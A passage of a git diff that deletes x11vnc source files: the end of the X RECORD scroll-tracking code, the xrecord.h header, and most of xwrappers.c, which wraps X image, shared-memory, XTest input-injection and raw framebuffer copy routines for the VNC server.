- }
- XSetErrorHandler(old_handler);
- X_UNLOCK;
- }
- }
-
- SCR_UNLOCK;
- /*
- * XXX if we do a XFlush_wr(rdpy_ctrl) here we get:
- *
-
- X Error of failed request: XRecordBadContext
- Major opcode of failed request: 145 (RECORD)
- Minor opcode of failed request: 5 (XRecordEnableContext)
- Context in failed request: 0x2200013
- Serial number of failed request: 29
- Current serial number in output stream: 29
-
- *
- * need to figure out what is going on... since it may lead
- * infrequent failures.
- */
- xrecord_focus_window = None;
- xrecord_wm_window = None;
- xrecord_ptr_window = None;
- xrecord_keysym = NoSymbol;
- rcs_scroll = 0;
- return;
- }
-if (db || debug_grabs) fprintf(stderr, "XRECORD ON: %d/%d %.4f\n", xrecording, setby, now - x11vnc_start);
-
- if (xrecording) {
- return;
- }
-
- if (do_shutdown && rc_scroll) {
- static int didmsg = 0;
- /* should not happen... */
- if (0 || !didmsg) {
- rfbLog("warning: do_shutdown && rc_scroll\n");
- didmsg = 1;
- }
- xrecord_watch(0, SCR_NONE);
- }
-
- xrecording = 0;
- xrecord_focus_window = None;
- xrecord_wm_window = None;
- xrecord_ptr_window = None;
- xrecord_keysym = NoSymbol;
- xrecord_set_by_keys = 0;
- xrecord_set_by_mouse = 0;
-
- /* get the window with focus and mouse pointer: */
- clast = None;
- focus = None;
- wm = None;
-
- X_LOCK;
- SCR_LOCK;
-#if 0
- /*
- * xrecord_focus_window / focus not currently used... save a
- * round trip to the X server for now.
- * N.B. our heuristic is inaccurate: if he is scrolling and
- * drifts off of the scrollbar onto another application we
- * will catch that application, not the starting ones.
- * check_xrecord_{keys,mouse} mitigates this somewhat by
- * delaying calls to xrecord_watch as much as possible.
- */
- XGetInputFocus(dpy, &focus, &i);
-#endif
-
- wm = query_pointer(rootwin);
- if (wm) {
- c = wm;
- } else {
- c = rootwin;
- }
-
- /* descend a bit to avoid wm frames: */
- if (c != rootwin && c == last_win) {
- /* use cached results to avoid roundtrips: */
- clast = last_result;
- } else if (scroll_good_all == NULL && scroll_skip_all == NULL) {
- /* more efficient if name info not needed. */
- xrecord_name_info[0] = '\0';
- clast = descend_pointer(6, c, NULL, 0);
- } else {
- char *nm;
- int matched_good = 0, matched_skip = 0;
-
- clast = descend_pointer(6, c, xrecord_name_info, NAMEINFO);
-if (db) fprintf(stderr, "name_info: %s\n", xrecord_name_info);
-
- nm = xrecord_name_info;
-
- if (scroll_good_all) {
- matched_good += match_str_list(nm, scroll_good_all);
- }
- if (setby == SCR_KEY && scroll_good_key) {
- matched_good += match_str_list(nm, scroll_good_key);
- }
- if (setby == SCR_MOUSE && scroll_good_mouse) {
- matched_good += match_str_list(nm, scroll_good_mouse);
- }
- if (scroll_skip_all) {
- matched_skip += match_str_list(nm, scroll_skip_all);
- }
- if (setby == SCR_KEY && scroll_skip_key) {
- matched_skip += match_str_list(nm, scroll_skip_key);
- }
- if (setby == SCR_MOUSE && scroll_skip_mouse) {
- matched_skip += match_str_list(nm, scroll_skip_mouse);
- }
-
- if (!matched_good && matched_skip) {
- clast = None;
- }
- }
- if (c != rootwin) {
- /* cache results for possible use next call */
- last_win = c;
- last_result = clast;
- }
-
- if (!clast || clast == rootwin) {
-if (db) fprintf(stderr, "--- xrecord_watch: SKIP.\n");
- X_UNLOCK;
- SCR_UNLOCK;
- return;
- }
-
- /* set protocol request ranges: */
- rr_scroll[0] = rr_CA;
- rr_scroll[1] = rr_CW;
-
- /*
- * start trapping... there still are some occasional failures
- * not yet understood, likely some race condition WRT the
- * context being setup.
- */
- trapped_record_xerror = 0;
- old_handler = XSetErrorHandler(trap_record_xerror);
-
- if (! rc_scroll) {
- /* do_shutdown case or first time in */
-
- if (gdpy_ctrl) {
- /*
- * Even though rdpy_ctrl is impervious to grabs
- * at this point, we still get deadlock, why?
- * It blocks in the library find_display() call.
- */
- check_xrecord_grabserver();
- if (xserver_grabbed) {
- XSetErrorHandler(old_handler);
- X_UNLOCK;
- SCR_UNLOCK;
- return;
- }
- }
- rcs_scroll = (XRecordClientSpec) clast;
- rc_scroll = XRecordCreateContext(rdpy_ctrl, 0, &rcs_scroll, 1,
- rr_scroll, 2);
-
- if (! do_shutdown) {
- XSync(rdpy_ctrl, False);
- }
-if (db) fprintf(stderr, "NEW rc: 0x%lx\n", rc_scroll);
- if (rc_scroll) {
- dtime0(&create_time);
- } else {
- rcs_scroll = 0;
- }
-
- } else if (! do_shutdown) {
- if (rcs_scroll) {
- /*
- * should have been unregistered in xrecord_watch(0)...
- */
- rcs_scroll = XRecordCurrentClients;
- XRecordUnregisterClients(rdpy_ctrl, rc_scroll,
- &rcs_scroll, 1);
-
-if (db > 1) fprintf(stderr, "=2= unreg-scroll 0x%lx 0x%lx\n", rc_scroll, rcs_scroll);
-
- }
-
- rcs_scroll = (XRecordClientSpec) clast;
-
-if (db > 1) fprintf(stderr, "=-= reg-scroll 0x%lx 0x%lx\n", rc_scroll, rcs_scroll);
-
- if (!XRecordRegisterClients(rdpy_ctrl, rc_scroll, 0,
- &rcs_scroll, 1, rr_scroll, 2)) {
- if (1 || now > last_error + 60) {
- rfbLog("failed to register client 0x%lx with"
- " X RECORD context rc_scroll.\n", clast);
- }
- last_error = now;
- rcs_scroll = 0;
- /* continue on for now... */
- }
- }
-
- XFlush_wr(rdpy_ctrl);
-
-if (db) fprintf(stderr, "rc_scroll: 0x%lx\n", rc_scroll);
- if (trapped_record_xerror) {
- RECORD_ERROR_MSG("register");
- }
-
- if (! rc_scroll) {
- XSetErrorHandler(old_handler);
- X_UNLOCK;
- SCR_UNLOCK;
- use_xrecord = 0;
- rfbLog("failed to create X RECORD context rc_scroll.\n");
- rfbLog(" switching to -noscrollcopyrect mode.\n");
- return;
- } else if (! rcs_scroll || trapped_record_xerror) {
- /* try again later */
- shutdown_record_context(rc_scroll, 0, reopen_dpys);
- rc_scroll = 0;
- last_error = now;
-
- XSetErrorHandler(old_handler);
- X_UNLOCK;
- SCR_UNLOCK;
- return;
- }
-
- xrecord_focus_window = focus;
-#if 0
- /* xrecord_focus_window currently unused. */
- if (! xrecord_focus_window) {
- xrecord_focus_window = clast;
- }
-#endif
- xrecord_wm_window = wm;
- if (! xrecord_wm_window) {
- xrecord_wm_window = clast;
- }
-
- xrecord_ptr_window = clast;
-
- xrecording = 1;
- xrecord_seq++;
- dtime0(&xrecord_start);
-
- rc = XRecordEnableContextAsync(rdpy_data, rc_scroll, record_switch,
- (XPointer) xrecord_seq);
-
- if (!rc || trapped_record_xerror) {
- if (1 || now > last_error + 60) {
- rfbLog("failed to enable RECORD context "
- "rc_scroll: 0x%lx rc: %d\n", rc_scroll, rc);
- if (trapped_record_xerror) {
- RECORD_ERROR_MSG("enable-failed");
- }
- }
- shutdown_record_context(rc_scroll, 0, reopen_dpys);
- rc_scroll = 0;
- last_error = now;
- xrecording = 0;
- /* continue on for now... */
- }
- XSetErrorHandler(old_handler);
-
- /* XXX this may cause more problems than it solves... */
- if (use_xrecord) {
- XFlush_wr(rdpy_data);
- }
-
- X_UNLOCK;
- SCR_UNLOCK;
-#endif
-}
-
-
diff --git a/x11vnc/xrecord.h b/x11vnc/xrecord.h
deleted file mode 100644
index 2c1e2d7..0000000
--- a/x11vnc/xrecord.h
+++ /dev/null
@@ -1,68 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_XRECORD_H
-#define _X11VNC_XRECORD_H
-
-/* -- xrecord.h -- */
-#include "scrollevent_t.h"
-#include "winattr_t.h"
-
-extern scroll_event_t scr_ev[];
-extern int scr_ev_cnt;
-extern int xrecording;
-extern int xrecord_set_by_keys;
-extern int xrecord_set_by_mouse;
-extern Window xrecord_focus_window;
-extern Window xrecord_wm_window;
-extern Window xrecord_ptr_window;
-extern KeySym xrecord_keysym;
-extern char xrecord_name_info[];
-
-extern winattr_t scr_attr_cache[];
-
-extern Display *rdpy_data;
-extern Display *rdpy_ctrl;
-
-extern Display *gdpy_ctrl;
-extern int xserver_grabbed;
-
-extern void initialize_xrecord(void);
-extern void zerodisp_xrecord(void);
-extern void shutdown_xrecord(void);
-extern int xrecord_skip_keysym(rfbKeySym keysym);
-extern int xrecord_skip_button(int newb, int old);
-extern int xrecord_scroll_keysym(rfbKeySym keysym);
-extern void check_xrecord_reset(int force);
-extern void xrecord_watch(int start, int setby);
-
-#endif /* _X11VNC_XRECORD_H */
diff --git a/x11vnc/xwrappers.c b/x11vnc/xwrappers.c
deleted file mode 100644
index e7158cf..0000000
--- a/x11vnc/xwrappers.c
+++ /dev/null
@@ -1,1522 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- xwrappers.c -- */
-
-#include "x11vnc.h"
-#include "xrecord.h"
-#include "keyboard.h"
-#include "xevents.h"
-#include "connections.h"
-#include "cleanup.h"
-#include "macosx.h"
-
-int xshm_present = 0;
-int xshm_opcode = 0;
-int xtest_present = 0;
-int xtrap_present = 0;
-int xrecord_present = 0;
-int xkb_present = 0;
-int xinerama_present = 0;
-
-int keycode_state[256];
-int rootshift = 0;
-int clipshift = 0;
-
-
-int guess_bits_per_color(int bits_per_pixel);
-
-int XFlush_wr(Display *disp);
-
-Status XShmGetImage_wr(Display *disp, Drawable d, XImage *image, int x, int y,
- unsigned long mask);
-XImage *XShmCreateImage_wr(Display* disp, Visual* vis, unsigned int depth,
- int format, char* data, XShmSegmentInfo* shminfo, unsigned int width,
- unsigned int height);
-Status XShmAttach_wr(Display *disp, XShmSegmentInfo *shminfo);
-Status XShmDetach_wr(Display *disp, XShmSegmentInfo *shminfo);
-Bool XShmQueryExtension_wr(Display *disp);
-int XShmGetEventBase_wr(Display *disp);
-
-XImage *xreadscreen(Display *disp, Drawable d, int x, int y,
- unsigned int width, unsigned int height, Bool show_cursor);
-XImage *XGetSubImage_wr(Display *disp, Drawable d, int x, int y,
- unsigned int width, unsigned int height, unsigned long plane_mask,
- int format, XImage *dest_image, int dest_x, int dest_y);
-XImage *XGetImage_wr(Display *disp, Drawable d, int x, int y,
- unsigned int width, unsigned int height, unsigned long plane_mask,
- int format);
-XImage *XCreateImage_wr(Display *disp, Visual *visual, unsigned int depth,
- int format, int offset, char *data, unsigned int width,
- unsigned int height, int bitmap_pad, int bytes_per_line);
-void copy_image(XImage *dest, int x, int y, unsigned int w, unsigned int h);
-void init_track_keycode_state(void);
-
-void XTRAP_FakeKeyEvent_wr(Display* dpy, KeyCode key, Bool down,
- unsigned long delay);
-void XTestFakeKeyEvent_wr(Display* dpy, KeyCode key, Bool down,
- unsigned long delay);
-void XTRAP_FakeButtonEvent_wr(Display* dpy, unsigned int button, Bool is_press,
- unsigned long delay);
-void XTestFakeButtonEvent_wr(Display* dpy, unsigned int button, Bool is_press,
- unsigned long delay);
-void XTRAP_FakeMotionEvent_wr(Display* dpy, int screen, int x, int y,
- unsigned long delay);
-void XTestFakeMotionEvent_wr(Display* dpy, int screen, int x, int y,
- unsigned long delay);
-
-Bool XTestCompareCurrentCursorWithWindow_wr(Display* dpy, Window w);
-Bool XTestCompareCursorWithWindow_wr(Display* dpy, Window w, Cursor cursor);
-Bool XTestQueryExtension_wr(Display *dpy, int *ev, int *er, int *maj,
- int *min);
-void XTestDiscard_wr(Display *dpy);
-Bool XETrapQueryExtension_wr(Display *dpy, int *ev, int *er, int *op);
-int XTestGrabControl_wr(Display *dpy, Bool impervious);
-int XTRAP_GrabControl_wr(Display *dpy, Bool impervious);
-void disable_grabserver(Display *in_dpy, int change);
-
-Bool XRecordQueryVersion_wr(Display *dpy, int *maj, int *min);
-
-int xauth_raw(int on);
-Display *XOpenDisplay_wr(char *display_name);
-int XCloseDisplay_wr(Display *display);
-
-Bool XQueryPointer_wr(Display *display, Window w, Window *root_return,
- Window *child_return, int *root_x_return, int *root_y_return,
- int *win_x_return, int *win_y_return, unsigned int *mask_return);
-
-Status XQueryTree_wr(Display *display, Window w, Window *root_return,
- Window *parent_return, Window **children_return,
- unsigned int *nchildren_return);
-
-int XFree_wr(void *data);
-int XSelectInput_wr(Display *display, Window w, long event_mask);
-
-void copy_raw_fb(XImage *dest, int x, int y, unsigned int w, unsigned int h);
-static void upup_downdown_warning(KeyCode key, Bool down);
-
-/*
- * used in rfbGetScreen and rfbNewFramebuffer: and estimate to the number
- * of bits per color, of course for some visuals, e.g. 565, the number
- * is not the same for each color. This is just a sane default.
- */
-int guess_bits_per_color(int bits_per_pixel) {
- int bits_per_color;
-
- /* first guess, spread them "evenly" over R, G, and B */
- bits_per_color = bits_per_pixel/3;
- if (bits_per_color < 1) {
- bits_per_color = 1; /* 1bpp, 2bpp... */
- }
-
- /* choose safe values for usual cases: */
- if (bits_per_pixel == 8) {
- bits_per_color = 2;
- } else if (bits_per_pixel == 15 || bits_per_pixel == 16) {
- bits_per_color = 5;
- } else if (bits_per_pixel == 24 || bits_per_pixel == 32) {
- bits_per_color = 8;
- }
- return bits_per_color;
-}
-
-int XFlush_wr(Display *disp) {
-#if NO_X11
- if (!disp) {}
- return 1;
-#else
- if (disp) {
- return XFlush(disp);
- } else {
- return 1;
- }
-#endif /* NO_X11 */
-}
-
-/*
- * Kludge to interpose image gets and limit to a subset rectangle of
- * the rootwin. This is the -sid option trying to work around invisible
- * saveUnders menu, etc, windows. Also -clip option.
- */
-
-#define ADJUST_ROOTSHIFT \
- if (rootshift && subwin) { \
- d = rootwin; \
- x += off_x; \
- y += off_y; \
- } \
- if (clipshift) { \
- x += coff_x; \
- y += coff_y; \
- }
-
-/*
- * Wrappers for Image related X calls
- */
-Status XShmGetImage_wr(Display *disp, Drawable d, XImage *image, int x, int y,
- unsigned long mask) {
-
- ADJUST_ROOTSHIFT
-
- /* Note: the Solaris overlay stuff is all non-shm (using_shm = 0) */
-
-#if LIBVNCSERVER_HAVE_XSHM
- return XShmGetImage(disp, d, image, x, y, mask);
-#else
- if (!disp || !d || !image || !x || !y || !mask) {}
- return (Status) 0;
-#endif
-}
-
-XImage *XShmCreateImage_wr(Display* disp, Visual* vis, unsigned int depth,
- int format, char* data, XShmSegmentInfo* shminfo, unsigned int width,
- unsigned int height) {
-
-#if LIBVNCSERVER_HAVE_XSHM
- return XShmCreateImage(disp, vis, depth, format, data, shminfo,
- width, height);
-#else
- if (!disp || !vis || !depth || !format || !data || !shminfo || !width || !height) {}
- return (XImage *) 0;
-#endif
-}
-
-Status XShmAttach_wr(Display *disp, XShmSegmentInfo *shminfo) {
-#if LIBVNCSERVER_HAVE_XSHM
- return XShmAttach(disp, shminfo);
-#else
- if (!disp || !shminfo) {}
- return (Status) 0;
-#endif
-}
-
-Status XShmDetach_wr(Display *disp, XShmSegmentInfo *shminfo) {
-#if LIBVNCSERVER_HAVE_XSHM
- if (getenv("X11VNC_SHM_DEBUG")) fprintf(stderr, "XShmDetach_wr: %p disp: %p\n", (void *)shminfo, (void *)disp);
- return XShmDetach(disp, shminfo);
-#else
- if (!disp || !shminfo) {}
- return (Status) 0;
-#endif
-}
-
-Bool XShmQueryExtension_wr(Display *disp) {
-#if LIBVNCSERVER_HAVE_XSHM
- return XShmQueryExtension(disp);
-#else
- if (!disp) {}
- return False;
-#endif
-}
-
-int XShmGetEventBase_wr(Display *disp) {
-#if LIBVNCSERVER_HAVE_XSHM
- return XShmGetEventBase(disp);
-#else
- if (!disp) {}
- return 0;
-#endif
-}
-
-/* wrapper for overlay screen reading: */
-
-XImage *xreadscreen(Display *disp, Drawable d, int x, int y,
- unsigned int width, unsigned int height, Bool show_cursor) {
-#if NO_X11
- if (!disp || !d || !x || !y || !width || !height || !show_cursor) {}
- return NULL;
-#else
-
-#ifdef SOLARIS_OVERLAY
- return XReadScreen(disp, d, x, y, width, height,
- show_cursor);
-#else
-# ifdef IRIX_OVERLAY
- { unsigned long hints = 0, hints_ret;
- if (show_cursor) hints |= XRD_READ_POINTER;
- return XReadDisplay(disp, d, x, y, width, height,
- hints, &hints_ret);
- }
-# else
- /* unused vars warning: */
- if (disp || d || x || y || width || height || show_cursor) {}
-
- return NULL;
-# endif
-#endif
-
-#endif /* NO_X11 */
-}
-
-XImage *XGetSubImage_wr(Display *disp, Drawable d, int x, int y,
- unsigned int width, unsigned int height, unsigned long plane_mask,
- int format, XImage *dest_image, int dest_x, int dest_y) {
-#if NO_X11
- nox11_exit(1);
- if (!disp || !d || !x || !y || !width || !height || !plane_mask || !format || !dest_image || !dest_x || !dest_y) {}
- return NULL;
-#else
- ADJUST_ROOTSHIFT
-
- if (overlay && dest_x == 0 && dest_y == 0) {
- size_t size = dest_image->height * dest_image->bytes_per_line;
- XImage *xi;
-
- xi = xreadscreen(disp, d, x, y, width, height,
- (Bool) overlay_cursor);
-
- if (! xi) return NULL;
-
- /*
- * There is extra overhead from memcpy and free...
- * this is not like the real XGetSubImage(). We hope
- * this significant overhead is still small compared to
- * the time to retrieve the fb data.
- */
- memcpy(dest_image->data, xi->data, size);
-
- XDestroyImage(xi);
- return (dest_image);
- }
- return XGetSubImage(disp, d, x, y, width, height, plane_mask,
- format, dest_image, dest_x, dest_y);
-#endif /* NO_X11 */
-}
-
-XImage *XGetImage_wr(Display *disp, Drawable d, int x, int y,
- unsigned int width, unsigned int height, unsigned long plane_mask,
- int format) {
-#if NO_X11
- if (!disp || !d || !x || !y || !width || !height || !plane_mask || !format) {}
- nox11_exit(1);
- return NULL;
-#else
-
- ADJUST_ROOTSHIFT
-
- if (overlay) {
- return xreadscreen(disp, d, x, y, width, height,
- (Bool) overlay_cursor);
- }
- return XGetImage(disp, d, x, y, width, height, plane_mask, format);
-#endif /* NO_X11 */
-}
-
-XImage *XCreateImage_wr(Display *disp, Visual *visual, unsigned int depth,
- int format, int offset, char *data, unsigned int width,
- unsigned int height, int bitmap_pad, int bytes_per_line) {
- /*
- * This is a kludge to get a created XImage to exactly match what
- * XReadScreen returns: we noticed the rgb masks are different
- * from XCreateImage with the high color visual (red mask <->
- * blue mask). Note we read from the root window(!) then free
- * the data.
- */
-
- if (raw_fb) { /* raw_fb hack */
- XImage *xi;
- xi = (XImage *) malloc(sizeof(XImage));
- memset(xi, 0, sizeof(XImage));
- xi->depth = depth;
- if (depth >= 24) {
- xi->bits_per_pixel = 32;
- } else if (depth > 16) {
- xi->bits_per_pixel = 24;
- } else if (depth > 8) {
- xi->bits_per_pixel = 16;
- } else {
- xi->bits_per_pixel = 8;
- }
- xi->format = format;
- xi->xoffset = offset;
- xi->data = data;
- xi->width = width;
- xi->height = height;
- xi->bitmap_pad = bitmap_pad;
- xi->bytes_per_line = bytes_per_line ? bytes_per_line :
- xi->width * xi->bits_per_pixel / 8;
- xi->bitmap_unit = -1; /* hint to not call XDestroyImage */
- return xi;
- }
-
-#if NO_X11
- nox11_exit(1);
- if (!disp || !visual || !depth || !format || !offset || !data || !width
- || !height || !width || !bitmap_pad || !bytes_per_line) {}
- return NULL;
-#else
- if (overlay) {
- XImage *xi;
- xi = xreadscreen(disp, window, 0, 0, width, height, False);
- if (xi == NULL) {
- return xi;
- }
- if (xi->data != NULL) {
- free(xi->data);
- }
- xi->data = data;
- return xi;
- }
-
- return XCreateImage(disp, visual, depth, format, offset, data,
- width, height, bitmap_pad, bytes_per_line);
-#endif /* NO_X11 */
-}
-
-static void copy_raw_fb_low_bpp(XImage *dest, int x, int y, unsigned int w,
- unsigned int h) {
- char *src, *dst;
- unsigned int line;
- static char *buf = NULL;
- static int buflen = -1;
- int bpl = wdpy_x * raw_fb_native_bpp / 8;
- int n, ix, len, del, sz = wdpy_x * raw_fb_expand_bytes;
-
- unsigned int rm_n = raw_fb_native_red_mask;
- unsigned int gm_n = raw_fb_native_green_mask;
- unsigned int bm_n = raw_fb_native_blue_mask;
- unsigned int rm_f = main_red_mask;
- unsigned int gm_f = main_green_mask;
- unsigned int bm_f = main_blue_mask;
-
- unsigned int rs_n = raw_fb_native_red_shift;
- unsigned int gs_n = raw_fb_native_green_shift;
- unsigned int bs_n = raw_fb_native_blue_shift;
- unsigned int rs_f = main_red_shift;
- unsigned int gs_f = main_green_shift;
- unsigned int bs_f = main_blue_shift;
-
- unsigned int rx_n = raw_fb_native_red_max;
- unsigned int gx_n = raw_fb_native_green_max;
- unsigned int bx_n = raw_fb_native_blue_max;
- unsigned int rx_f = main_red_max;
- unsigned int gx_f = main_green_max;
- unsigned int bx_f = main_blue_max;
-
- static unsigned int msk[8];
- static int last_bpp = -1;
- static int cga = -1;
-
- if (rm_f | gm_f | bm_f) {}
-
- if (cga < 0) {
- if (getenv("RAWFB_CGA")) {
- cga = 1;
- } else {
- cga = 0;
- }
- }
-
- if (sz > buflen || buf == NULL) {
- if (buf) {
- free(buf);
- }
- buflen = sz + 1000;
- buf = (char *) malloc(buflen);
- }
-
- if (clipshift && ! use_snapfb) {
- x += coff_x;
- y += coff_y;
- }
-
- if (last_bpp != raw_fb_native_bpp) {
- int br;
- for (br = 0; br < 8; br++) {
- unsigned int pbit, k, m = 0;
-
- for (k=0; k < (unsigned int) raw_fb_native_bpp; k++) {
- pbit = 1 << (br+k);
- m |= pbit;
- }
- msk[br] = m;
- }
- last_bpp = raw_fb_native_bpp;
- }
-
- dst = dest->data;
-if (0) fprintf(stderr, "x=%d y=%d w=%d h=%d bpl=%d d_bpl=%d-%dx%dx%d/%d %p\n",
- x, y, w, h, bpl, dest->bytes_per_line, dest->width, dest->height, dest->bits_per_pixel, dest->depth, dst);
-
- for (line = 0; line < h; line++) {
-
- if (! raw_fb_seek) {
- /* mmap */
- src = raw_fb_addr + raw_fb_offset + bpl*(y+line);
-
- memcpy(buf, src, bpl);
- } else {
- /* lseek */
- off_t off;
- off = (off_t) (raw_fb_offset + bpl*(y+line));
-
- lseek(raw_fb_fd, off, SEEK_SET);
-
- len = bpl;
- del = 0;
- while (len > 0) {
- n = read(raw_fb_fd, buf + del, len);
-
- if (n > 0) {
- del += n;
- len -= n;
- } else if (n == 0) {
- break;
- } else if (errno != EINTR && errno != EAGAIN) {
- break;
- }
- }
- }
- for (ix = 0; ix < (int) w; ix++) {
- int bx = (x + ix) * raw_fb_native_bpp;
- int ib = bx / 8;
- int br = bx - ib * 8;
- unsigned char val;
-
- val = *((unsigned char*) (buf + ib));
-
- val = msk[br] & val;
- val = val >> br;
-
- if (cga) {
- /* this is expt for CGA */
- double r, g, b;
- int ir, ig, ib;
- r = (2./3)*(val & 4) + (1./3)*(val & 8);
- g = (2./3)*(val & 2) + (1./3)*(val & 8);
- b = (2./3)*(val & 1) + (1./3)*(val & 8);
- if (val == 6) {
- g = g/2.;
- }
- ir = rx_f * r;
- ig = gx_f * g;
- ib = bx_f * b;
- val = (ib << bs_f) | (ig << gs_f) | (ir << rs_f);
- } else {
- unsigned char rval, gval, bval;
-
- rval = (val & rm_n) >> rs_n;
- gval = (val & gm_n) >> gs_n;
- bval = (val & bm_n) >> bs_n;
-
- rval = (rx_f * rval) / rx_n;
- gval = (gx_f * gval) / gx_n;
- bval = (bx_f * bval) / bx_n;
-
- rval = rval << rs_f;
- gval = gval << gs_f;
- bval = bval << bs_f;
-
- val = rval | gval | bval;
- }
-
- *(dst+ix) = (char) val;
- }
-
- dst += dest->bytes_per_line;
- }
-}
-
-static void copy_raw_fb_24_to_32(XImage *dest, int x, int y, unsigned int w,
- unsigned int h) {
- /*
- * kludge to read 1 byte at a time and dynamically transform
- * 24bpp -> 32bpp by inserting a extra 0 byte into dst.
- */
- char *src, *dst;
- unsigned int line;
- static char *buf = NULL;
- static int buflen = -1;
- int bpl = wdpy_x * 3; /* pixelsize == 3 */
- int LE, n, stp, len, del, sz = w * 3;
- int insert_zeroes = 1;
-
-#define INSERT_ZEROES \
- len = sz; \
- del = 0; \
- stp = 0; \
- while (len > 0) { \
- if (insert_zeroes && (del - LE) % 4 == 0) { \
- *(dst + del) = 0; \
- del++; \
- } \
- *(dst + del) = *(buf + stp); \
- del++; \
- len--; \
- stp++; \
- }
-
- if (rfbEndianTest) {
- LE = 3; /* little endian */
- } else {
- LE = 0; /* big endian */
- }
-
- if (sz > buflen || buf == NULL) {
- if (buf) {
- free(buf);
- }
- buf = (char *) malloc(4*(sz + 1000));
- }
-
- if (clipshift && ! use_snapfb) {
- x += coff_x;
- y += coff_y;
- }
-
- if (use_snapfb && dest != snap) {
- /* snapfb src */
- src = snap->data + snap->bytes_per_line*y + 3*x;
- dst = dest->data;
- for (line = 0; line < h; line++) {
- memcpy(buf, src, sz);
-
- INSERT_ZEROES
-
- src += snap->bytes_per_line;
- dst += dest->bytes_per_line;
- }
-
- } else if (! raw_fb_seek) {
- /* mmap */
- bpl = raw_fb_bytes_per_line;
- if (clipshift && wdpy_x != cdpy_x) {
- bpl = wdpy_x * 3;
- }
- src = raw_fb_addr + raw_fb_offset + bpl*y + 3*x;
- dst = dest->data;
-
- if (use_snapfb && dest == snap) {
- /*
- * writing *to* snap_fb: need the x,y offset,
- * and also do not do inserts.
- */
- dst += bpl*y + 3*x;
- insert_zeroes = 0;
- }
-
- for (line = 0; line < h; line++) {
- memcpy(buf, src, sz);
-
- INSERT_ZEROES
-
- src += bpl;
- dst += dest->bytes_per_line;
- }
-
- } else {
- /* lseek */
- off_t off;
- bpl = raw_fb_bytes_per_line;
- if (clipshift && wdpy_x != cdpy_x) {
- bpl = wdpy_x * 3;
- }
- off = (off_t) (raw_fb_offset + bpl*y + 3*x);
-
- lseek(raw_fb_fd, off, SEEK_SET);
- dst = dest->data;
-
- if (use_snapfb && dest == snap) {
- /*
- * writing *to* snap_fb: need the x,y offset,
- * and also do not do inserts.
- */
- dst += bpl*y + 3*x;
- insert_zeroes = 0;
- }
-
- for (line = 0; line < h; line++) {
- len = sz;
- del = 0;
- while (len > 0) {
- n = read(raw_fb_fd, buf + del, len);
-
- if (n > 0) {
- del += n;
- len -= n;
- } else if (n == 0) {
- break;
- } else if (errno != EINTR && errno != EAGAIN) {
- break;
- }
- }
-
- INSERT_ZEROES
-
- if (bpl > sz) {
- off = (off_t) (bpl - sz);
- lseek(raw_fb_fd, off, SEEK_CUR);
- }
- dst += dest->bytes_per_line;
- }
- }
-}
-
-#ifdef MACOSX
-void macosx_copy_opengl(char *, int, int, unsigned int, unsigned int);
-#endif
-
-void copy_raw_fb(XImage *dest, int x, int y, unsigned int w, unsigned int h) {
- char *src, *dst;
- unsigned int line;
- int pixelsize = bpp/8;
- static int db = -1;
-
-#ifdef MACOSX
- if (macosx_console && macosx_read_opengl) {
- macosx_copy_opengl(dest->data, x, y, w, h);
- return;
- }
-#endif
-
- if (xform24to32) {
- copy_raw_fb_24_to_32(dest, x, y, w, h);
- return;
- }
- if (raw_fb_native_bpp < 8) {
- copy_raw_fb_low_bpp(dest, x, y, w, h);
- return;
- }
- if (db < 0) {
- if (getenv("DEBUG_COPY_RAW_FB")) {
- db = atoi(getenv("DEBUG_COPY_RAW_FB"));
- } else {
- db = 0;
- }
- }
-
- if (clipshift && ! use_snapfb) {
- x += coff_x;
- y += coff_y;
- }
-
-
- if (use_snapfb && dest != snap) {
- /* snapfb src */
- src = snap->data + snap->bytes_per_line*y + pixelsize*x;
- dst = dest->data;
-
-if (db) fprintf(stderr, "snap->bytes_per_line: %d, dest->bytes_per_line: %d, w: %d h: %d dpy_x: %d wdpy_x: %d cdpy_x: %d bpp: %d pixelsize: %d\n", snap->bytes_per_line, dest->bytes_per_line, w, h, dpy_x, wdpy_x, cdpy_x, bpp, pixelsize);
-
- for (line = 0; line < h; line++) {
- memcpy(dst, src, w * pixelsize);
- src += snap->bytes_per_line;
- dst += dest->bytes_per_line;
- }
-
- } else if (! raw_fb_seek) {
- /* mmap */
- int bpl = raw_fb_bytes_per_line;
-
- if (clipshift && wdpy_x != cdpy_x) {
- bpl = wdpy_x * pixelsize;
- }
-
